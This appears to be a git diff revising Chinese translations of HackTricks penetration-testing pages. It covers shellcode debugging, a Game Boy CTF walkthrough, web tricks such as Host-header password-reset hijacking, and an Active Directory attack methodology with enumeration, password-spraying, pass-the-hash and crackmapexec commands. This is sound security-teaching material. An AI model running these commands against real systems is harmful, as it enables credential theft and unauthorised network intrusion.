### 使用 jmp2it 调试 shellcode
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)与blobrunner非常相似。它将**分配**shellcode到内存空间中，并启动一个**无限循环**。然后，您需要**附加调试器**到该进程，**播放开始等待2-5秒并按停止**，您将发现自己处于**无限循环**中。跳到无限循环的下一条指令，因为它将是对shellcode的调用，最后您将发现自己正在执行shellcode。
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) 与 blobrunner 非常相似。它将 **分配** shellcode 到内存空间，并启动一个 **无限循环**。然后您需要 **附加调试器** 到该进程，**播放开始等待 2-5 秒并按停止**，您将发现自己处于 **无限循环** 中。跳到无限循环的下一条指令，因为它将是对 shellcode 的调用，最后您将发现自己正在执行 shellcode。
![](<../../images/image (509).png>)
您可以在[发布页面](https://github.com/adamkramer/jmp2it/releases/)下载已编译版本的jmp2it。
您可以在 [jmp2it 的发布页面](https://github.com/adamkramer/jmp2it/releases/) 下载已编译版本。
### 使用Cutter调试shellcode
### 使用 Cutter 调试 shellcode
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)是radare的GUI。使用Cutter，您可以模拟shellcode并动态检查它。
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) 是 radare 的 GUI。使用 cutter，您可以模拟 shellcode 并动态检查它。
请注意，Cutter允许您“打开文件”和“打开shellcode”。在我的情况下，当我将shellcode作为文件打开时，它正确反编译，但当我将其作为shellcode打开时却没有：
请注意，Cutter 允许您 "Open File" 和 "Open Shellcode"。在我的情况下，当我将 shellcode 作为文件打开时，它正确反编译，但当我将其作为 shellcode 打开时却没有：
![](<../../images/image (562).png>)
为了在您想要的地方开始模拟，请在那里设置一个bp，显然Cutter将自动从那里开始模拟：
为了在您想要的地方开始模拟，请在那里设置一个 bp，显然 cutter 将自动从那里开始模拟：
![](<../../images/image (589).png>)
@ -198,10 +200,10 @@ blobrunner.md
![](<../../images/image (186).png>)
### 反混淆shellcode并获取执行的函数
### 反混淆 shellcode 并获取执行的函数
您应该尝试[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152)。\
它将告诉您shellcode使用的**哪些函数**以及shellcode是否在内存中**解码**自己。
您应该尝试 [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152)。\
它将告诉您 shellcode 使用了 **哪些函数**，以及 shellcode 是否在内存中 **解码** 自身。
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -338,7 +340,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
最后的 if 检查 **`uVar4`** 是否在 **最后的 Keys** 中，并且不是当前键，也称为放开一个按钮（当前键存储在 **`uVar1`** 中）。
最后的 if 检查 **`uVar4`** 是否在 **最后的 Keys** 中，而不是当前键，也称为放开一个按钮（当前键存储在 **`uVar1`** 中）。
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
@ -366,21 +368,23 @@ FUN_08000864();
if (uVar1 == 0x10) {
DAT_030000d8 = DAT_030000d8 + 0x3a;
```
在前面的代码中，你可以看到我们正在将 **uVar1**（**按下按钮的值**所在的位置）与一些值进行比较：
在前面的代码中，您可以看到我们正在将 **uVar1**（按下按钮的 **值** 所在的位置）与一些值进行比较：
- 首先，它与 **值 4**（**选择**按钮）进行比较：在这个挑战中，这个按钮清除屏幕。
- 然后，它与 **值 8**（**开始**按钮）进行比较：在这个挑战中，这检查代码是否有效以获取标志。
- 首先，它与 **值 4**（**SELECT** 按钮）进行比较：在这个挑战中，这个按钮清除屏幕
- 然后，它与 **值 8**（**START** 按钮）进行比较：在这个挑战中，这检查代码是否有效以获取标志。
- 在这种情况下，变量 **`DAT_030000d8`** 与 0xf3 进行比较，如果值相同，则执行某些代码。
- 在其他情况下，检查某个 cont（`DAT_030000d4`）。这是一个 cont，因为在进入代码后会加 1。\
**如果** 小于 8，则会进行一些涉及 **添加** 值到 **`DAT_030000d8`** 的操作（基本上是将按下的键的值添加到这个变量中，只要 cont 小于 8）。
- 在其他情况下，检查某个 cont（`DAT_030000d4`）。这是一个 cont，因为在进入代码后立即加 1。\
**如果** 小于 8，则执行涉及 **添加** 值到 **`DAT_030000d8`** 的操作（基本上是将按下的键的值添加到这个变量中，只要 cont 小于 8）。
因此，在这个挑战中，知道按钮的值，你需要 **按下一个长度小于 8 的组合，使得结果的和为 0xf3。**
因此，在这个挑战中，知道按钮的值，您需要 **按下一个长度小于 8 的组合，使得结果的和为 0xf3。**
**本教程的参考：** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
## Game Boy
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
{{#ref}}
https://www.youtube.com/watch?v=VVbRe7wr3G4
{{#endref}}
## 课程

4
src/robots.txt Normal file
View File

@ -0,0 +1,4 @@
Sitemap: https://www.hacktricks.wiki/sitemap.xml
User-agent: *
Disallow:

8
src/stego/esoteric-languages.md
View File

@ -1,10 +1,10 @@
# 神秘语言
# 隐秘语言
{{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
查看该维基以搜索更多神秘语言
查看该维基以搜索更多隐秘语言
## Malbolge
```
@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

4
src/todo/burp-suite.md
View File

@ -10,7 +10,9 @@
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : 用于执行命令并通过 DNS 请求获取输出的有效载荷到 burpcollab。
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

10
src/todo/other-web-tricks.md
View File

@ -4,7 +4,7 @@
### 主机头
几次后端信任 **Host header** 来执行某些操作。例如，它可能会使用其值作为 **发送密码重置的域**。因此，当您收到一封包含重置密码链接的电子邮件时，使用的域是您在 Host header 中输入的域。然后，您可以请求其他用户的密码重置，并将域更改为您控制的域，以窃取他们的密码重置代码。 [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
几次后端信任 **Host header** 来执行某些操作。例如，它可能会使用其值作为 **发送密码重置的域**。因此，当您收到一封带有重置密码链接的电子邮件时，使用的域是您在 Host header 中输入的域。然后，您可以请求其他用户的密码重置，并将域更改为您控制的域，以窃取他们的密码重置代码。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
> [!WARNING]
> 请注意，您甚至可能不需要等待用户点击重置密码链接来获取令牌，因为 **垃圾邮件过滤器或其他中介设备/机器人可能会点击它以进行分析**。
@ -12,7 +12,7 @@
### 会话布尔值
有时，当您正确完成某些验证时，后端会 **仅将值为 "True" 的布尔值添加到您的会话的安全属性中**。然后，另一个端点将知道您是否成功通过了该检查。\
然而，如果您 **通过了检查**，并且您的会话在安全属性中获得了 "True" 值，您可以尝试 **访问其他资源**，这些资源 **依赖于相同的属性**，但您 **不应该有权限** 访问。 [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。
然而，如果您 **通过了检查**，并且您的会话在安全属性中获得了 "True" 值，您可以尝试 **访问其他资源**，这些资源 **依赖于相同的属性**，但您 **不应该有权限** 访问。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。
### 注册功能
@ -24,11 +24,13 @@
### 访问使用 Atlassian 的公司的内部服务台
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### TRACE 方法
开发人员可能会忘记在生产环境中禁用各种调试选项。例如，HTTP `TRACE` 方法是为诊断目的而设计的。如果启用，web 服务器将通过在响应中回显收到的确切请求来响应使用 `TRACE` 方法的请求。这种行为通常是无害的，但偶尔会导致信息泄露，例如可能由反向代理附加到请求的内部身份验证头的名称。![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
开发人员可能会忘记在生产环境中禁用各种调试选项。例如，HTTP `TRACE` 方法是为诊断目的设计的。如果启用，web 服务器将通过在响应中回显收到的确切请求来响应使用 `TRACE` 方法的请求。这种行为通常是无害的，但偶尔会导致信息泄露，例如可能由反向代理附加到请求的内部身份验证头的名称。![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)

92
src/todo/references.md
View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

136
src/windows-hardening/active-directory-methodology/README.md
View File

@ -6,7 +6,7 @@
**Active Directory** 作为基础技术，使 **网络管理员** 能够高效地创建和管理网络中的 **域**、**用户** 和 **对象**。它被设计为可扩展，便于将大量用户组织成可管理的 **组** 和 **子组**，同时在不同级别上控制 **访问权限**。
**Active Directory** 的结构由三个主要层次组成：**域**、**树** 和 **森林**。一个 **域** 包含一组对象，如 **用户** 或 **设备**，共享一个公共数据库。**树** 是通过共享结构连接的这些域的组，而 **森林** 代表多个树的集合，通过 **信任关系** 互联，形成组织结构的最上层。可以在每个层次上指定特定的 **访问** 和 **通信权限**。
**Active Directory** 的结构由三个主要层次组成：**域**、**树** 和 **森林**。一个 **域** 包含一组对象，如 **用户** 或 **设备**，共享一个公共数据库。**树** 是这些域的组，按共享结构连接，而 **森林** 代表多个树的集合，通过 **信任关系** 互联，形成组织结构的最上层。可以在每个层次上指定特定的 **访问** 和 **通信权限**。
**Active Directory** 中的关键概念包括：
@ -14,7 +14,7 @@
2. **对象** – 指目录中的实体，包括 **用户**、**组** 或 **共享文件夹**。
3. **域** – 作为目录对象的容器，多个域可以在一个 **森林** 中共存，每个域维护自己的对象集合。
4. **树** – 一组共享公共根域的域。
5. **森林** – Active Directory 中组织结构的顶点，由多个树组成，树之间存在 **信任关系**。
5. **森林** – Active Directory 中组织结构的顶点，由多个树组成，彼此之间有 **信任关系**。
**Active Directory 域服务 (AD DS)** 包含一系列对网络内集中管理和通信至关重要的服务。这些服务包括：
@ -44,7 +44,7 @@
- 扫描网络，查找机器和开放端口，并尝试 **利用漏洞** 或 **提取凭据**（例如，[打印机可能是非常有趣的目标](ad-information-in-printers.md)）。
- 枚举 DNS 可能会提供有关域中关键服务器的信息，如 Web、打印机、共享、VPN、媒体等。
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md) 以获取有关如何执行此操作的更多信息。
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md)，以获取有关如何执行此操作的更多信息。
- **检查 smb 服务上的空和访客访问**（这在现代 Windows 版本上不起作用）：
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
@ -66,10 +66,10 @@
- **毒化网络**
- 收集凭据 [**通过 Responder 冒充服务**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- 通过 [**滥用中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 访问主机
- 收集凭据 **暴露** [**伪造的 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- 收集凭据 **暴露** [**假 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology)：
- 从内部文档、社交媒体、服务（主要是 Web）中提取用户名/姓名，以及从公开可用的信息中提取。
- 如果您找到公司员工的完整姓名，您可以尝试不同的 AD **用户名约定**（**[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**）。最常见的约定是：_NameSurname_、_Name.Surname_、_NamSur_（每个的 3 个字母）、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_（abc123）。
- 如果您找到公司员工的完整姓名，您可以尝试不同的 AD **用户名约定**（**[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**）。最常见的约定是：_NameSurname_、_Name.Surname_、_NamSur_（每个 3 个字母）、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_（abc123）。
- 工具：
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -105,15 +105,15 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
> [!WARNING]
> 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
>
> 然而，你应该从之前执行的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏，你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
> 然而，你应该在之前的侦查步骤中获得**公司员工的姓名**。有了名字和姓氏，你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
### 知道一个或多个用户名
好的，所以你知道你已经有一个有效的用户名，但没有密码……那么尝试：
- [**ASREPRoast**](asreproast.md)：如果用户 **没有** 属性 _DONT_REQ_PREAUTH_，你可以 **请求该用户的 AS_REP 消息**，其中将包含一些由用户密码的派生加密的数据。
- [**密码喷洒**](password-spraying.md)：让我们尝试每个发现用户的 **常见密码**，也许某个用户使用了一个糟糕的密码（记住密码策略！）。
- 请注意，你也可以 **喷洒 OWA 服务器** 来尝试访问用户的邮件服务器。
- [**ASREPRoast**](asreproast.md)：如果用户**没有**属性 _DONT_REQ_PREAUTH_，你可以**请求该用户的 AS_REP 消息**，其中将包含一些由用户密码的派生加密的数据。
- [**Password Spraying**](password-spraying.md)：让我们尝试每个发现用户的**常见密码**，也许某个用户使用了一个糟糕的密码（记住密码策略！）。
- 请注意，你也可以**喷洒 OWA 服务器**以尝试访问用户的邮件服务器。
{{#ref}}
password-spraying.md
@ -121,7 +121,7 @@ password-spraying.md
### LLMNR/NBT-NS 中毒
你可能能够 **获取** 一些挑战 **哈希** 来破解 **中毒** 一些 **网络** 协议：
你可能能够**获取**一些挑战**哈希**以破解**中毒**某些网络协议：
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -129,11 +129,11 @@ password-spraying.md
### NTML 中继
如果你已经成功枚举了活动目录，你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来获取对 AD 环境的访问。
如果你已经成功枚举了活动目录，你将拥有**更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来访问 AD 环境。
### 窃取 NTLM 凭证
### 偷取 NTLM 凭证
如果你可以使用 **null 或访客用户** **访问其他 PC 或共享**，你可以 **放置文件**（如 SCF 文件），如果以某种方式被访问，将会 **触发对你的 NTML 认证**，这样你就可以 **窃取** **NTLM 挑战** 进行破解：
如果你可以使用**空或访客用户**访问其他 PC 或共享，你可以**放置文件**（如 SCF 文件），如果以某种方式被访问，将**触发对你的 NTML 认证**，这样你就可以**窃取** **NTLM 挑战**以破解它：
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -141,9 +141,9 @@ password-spraying.md
## 使用凭证/会话枚举活动目录
在这个阶段，你需要 **获取有效域账户的凭证或会话。** 如果你有一些有效的凭证或作为域用户的 shell，**你应该记住之前给出的选项仍然是妥协其他用户的选项**。
在这个阶段，你需要**获取有效域账户的凭证或会话。**如果你有一些有效的凭证或作为域用户的 shell，**你应该记住之前给出的选项仍然是妥协其他用户的选项**。
在开始经过身份验证的枚举之前，你应该知道 **Kerberos 双跳问题**。
在开始经过身份验证的枚举之前，你应该知道**Kerberos 双跳问题**。
{{#ref}}
kerberos-double-hop-problem.md
@ -151,18 +151,18 @@ kerberos-double-hop-problem.md
### 枚举
成功妥协一个账户是 **开始妥协整个域的一个重要步骤**，因为你将能够开始 **活动目录枚举：**
成功妥协一个账户是**开始妥协整个域的重要一步**，因为你将能够开始**活动目录枚举：**
关于 [**ASREPRoast**](asreproast.md)，你现在可以找到每个可能的易受攻击用户，关于 [**密码喷洒**](password-spraying.md)，你可以获取 **所有用户名的列表** 并尝试妥协账户的密码、空密码和新的有前景的密码。
关于 [**ASREPRoast**](asreproast.md)，你现在可以找到每个可能的易受攻击用户，关于 [**Password Spraying**](password-spraying.md)，你可以获得**所有用户名的列表**并尝试妥协账户的密码、空密码和新的有前景的密码。
- 你可以使用 [**CMD 进行基本侦查**](../basic-cmd-for-pentesters.md#domain-info)
- 你也可以使用 [**powershell 进行侦查**](../basic-powershell-for-pentesters/)，这将更加隐蔽
- 你还可以 [**使用 powerview**](../basic-powershell-for-pentesters/powerview.md) 来提取更详细的信息
- 另一个在活动目录中进行侦查的惊人工具是 [**BloodHound**](bloodhound.md)。它 **不是很隐蔽**（取决于你使用的收集方法），但 **如果你不在乎**，你绝对应该试试。找出用户可以 RDP 的地方，找到其他组的路径等。
- 你还可以 [**使用 powerview**](../basic-powershell-for-pentesters/powerview.md) 提取更详细的信息
- 另一个在活动目录中进行侦查的惊人工具是 [**BloodHound**](bloodhound.md)。它**不是很隐蔽**（取决于你使用的收集方法），但**如果你不在乎**这一点，你绝对应该试试。找出用户可以 RDP 的地方，找到其他组的路径等。
- **其他自动化 AD 枚举工具有：** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD 的 DNS 记录**](ad-dns-records.md)，因为它们可能包含有趣的信息。
- 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录，来自 **SysInternal** 套件。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证，查找字段 _userPassword_ 和 _unixUserPassword_，甚至是 _Description_。请参阅 [PayloadsAllTheThings 上的 AD 用户注释中的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 你可以使用带 GUI 的工具 **AdExplorer.exe** 来枚举目录，来自 **SysInternal** 套件。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证，查找字段 _userPassword_ 和 _unixUserPassword_，甚至是 _Description_。请参阅 [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 如果你使用 **Linux**，你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
- 你还可以尝试自动化工具，如：
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@ -175,7 +175,7 @@ kerberos-double-hop-problem.md
### Kerberoast
Kerberoasting 涉及获取 **TGS 票证**，这些票证由与用户账户相关的服务使用，并破解其加密——这基于用户密码——**离线**。
Kerberoasting 涉及获取**TGS 票证**，这些票证由与用户账户相关的服务使用，并破解其加密——这基于用户密码——**离线**。
更多信息请参见：
@ -185,17 +185,17 @@ kerberoast.md
### 远程连接 (RDP, SSH, FTP, Win-RM 等)
一旦你获得了一些凭证，你可以检查是否可以访问任何 **机器**。为此，你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器，具体取决于你的端口扫描结果。
一旦你获得了一些凭证，你可以检查是否可以访问任何**机器**。为此，你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器，具体取决于你的端口扫描结果。
### 本地权限提升
如果你已经妥协了凭证或作为普通域用户的会话，并且你可以 **使用该用户访问域中的任何机器**，你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限，你才能 **在内存中（LSASS）和本地（SAM）转储其他用户的哈希**。
如果你已经妥协了凭证或作为普通域用户的会话，并且你可以使用该用户**访问域中的任何机器**，你应该尝试找到**本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限，你才能**在内存中（LSASS）和本地（SAM）转储其他用户的哈希**。
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外，不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
### 当前会话票证
你很 **不太可能** 在当前用户中找到 **票证**，使你能够访问意外资源，但你可以检查：
你很**不可能**在当前用户中找到**票证**，使你能够访问意外资源，但你可以检查：
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -209,7 +209,7 @@ kerberoast.md
### **在计算机共享中查找凭据**
现在你有了一些基本凭据，你应该检查是否可以**找到**任何**在 AD 中共享的有趣文件**。你可以手动进行，但这是一项非常无聊的重复任务（如果你发现数百个需要检查的文档，更是如此）。
现在你有了一些基本凭据，你应该检查是否可以**找到**任何**在 AD 中共享的有趣文件**。你可以手动进行，但这是一项非常无聊的重复任务（如果你发现数百个文档需要检查，更是如此）。
[**点击此链接了解你可以使用的工具。**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search)
@ -229,25 +229,25 @@ kerberoast.md
printnightmare.md
{{#endref}}
## 使用特权凭据/会话在活动目录上进行特权提升
## 在具有特权凭据/会话的活动目录上进行特权提升
**对于以下技术，普通域用户是不够的，你需要一些特殊的特权/凭据来执行这些攻击。**
### 哈希提取
希望你已经成功**破坏了一些本地管理员**账户，使用 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 包括中继、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[本地提升特权](../windows-local-privilege-escalation/)。\
然后，是时候转储内存和本地的所有哈希。\
然后，是时候在内存和本地转储所有哈希。\
[**阅读此页面以了解获取哈希的不同方法。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### 传递哈希
**一旦你拥有用户的哈希**，你可以用它来**冒充**该用户。\
你需要使用一些**工具**来**执行**使用该**哈希**的**NTLM 认证**，**或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中，这样当任何**NTLM 认证被执行**时，该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
你需要使用一些**工具**来**执行**使用该**哈希的 NTLM 认证**，**或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中，这样当任何**NTLM 认证被执行**时，该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
[**阅读此页面以获取更多信息。**](../ntlm/#pass-the-hash)
### 超越哈希/传递密钥
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**，作为常见的 NTLM 协议下的传递哈希的替代方案。因此，这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中尤其**有用**。
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**，作为常见的 NTLM 协议下的传递哈希的替代方案。因此，这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中可能特别**有用**。
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
### 传递票证
在**传递票证 (PTT)** 攻击方法中，攻击者**窃取用户的认证票证**而不是他们的密码或哈希值。然后使用这个被窃取的票证来**冒充用户**，获得对网络中资源和服务的未授权访问。
在**传递票证 (PTT)** 攻击方法中，攻击者**窃取用户的认证票证**而不是他们的密码或哈希值。然后使用这个被窃取的票证来**冒充用户**，获得对网络中资源和服务的未经授权的访问。
{{#ref}}
pass-the-ticket.md
@ -270,7 +270,7 @@ pass-the-ticket.md
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> 请注意，这非常**嘈杂**，并且**LAPS**会**减轻**它。
> 请注意，这非常**嘈杂**，并且**LAPS**将**减轻**这一点。
### MSSQL 滥用与受信任链接
@ -282,26 +282,26 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
abusing-ad-mssql.md
{{#endref}}
### 不受限制的委托
### 不受限制的委派
如果您发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx> ) 的计算机对象，并且您在计算机上具有域权限，您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
因此，如果**域管理员登录到计算机**，您将能够转储他的 TGT 并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
由于受限委托，您甚至可以**自动妥协打印服务器**（希望它是 DC）。
如果您发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象，并且您在计算机上具有域权限，您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
